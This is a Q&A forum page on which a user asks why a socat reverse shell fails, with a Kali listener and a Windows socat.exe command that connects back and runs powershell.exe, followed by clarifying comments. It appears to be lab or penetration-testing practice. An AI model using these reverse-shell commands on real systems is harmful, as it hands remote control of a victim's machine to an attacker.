I've read that socat is capable of creating interactive shells. I'd like to create an interactive Powershell shell.

Kali Listener

# socat - tcp4-listen:1338

Windows (socat.exe used from here: https://github.com/StudioEtrange/socat-windows)

socat.exe tcp-connect: exec:powershell.exe,pipes,pty

I get a connection but no shell

enter image description here

And Powershell starts on my Windows machine: enter image description here

Does anyone know why this doesn't work?

  • It is not clear what you mean by I get a connection but no shell.
    – mentallurg
    Apr 20 '20 at 5:23
  • 1
    Seems to me like everything is working as intended? Your 1st screenshot shows you starting and running a shell daemon, and your 2nd screenshot is you connecting to it; and, in fact, obtaining an interactive shell?
    – Will
    Apr 20 '20 at 5:49
  • Hey @will , The first screenshot is my listener on Kali. If it would have been successful I would have expected to see PS C:\inetpub\wwwroot\socat> in Kali, not my Windows box. I'm trying to shovel a Powershell shell from Windows to Kali. Sorry for the confusion. Apr 20 '20 at 14:12
  • Hey @mentallurg , what I meant was a connection happens between by Kali listener and the Windows machine as evidenced by the "Windows PowerShell Copyright (C)..." message however I don't receive a PS C:\inetpub\wwwroot\socat> prompt in my Kali machine. Apr 20 '20 at 14:14
  • ![Windows PowerShell](i.stack.imgur.com/uPuMe.png) Seems work fine in my case between virtual machine macOS (VMware Workstation Pro 16) and Windows 10 host.
    – valorisa
    Jan 24 at 19:11

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.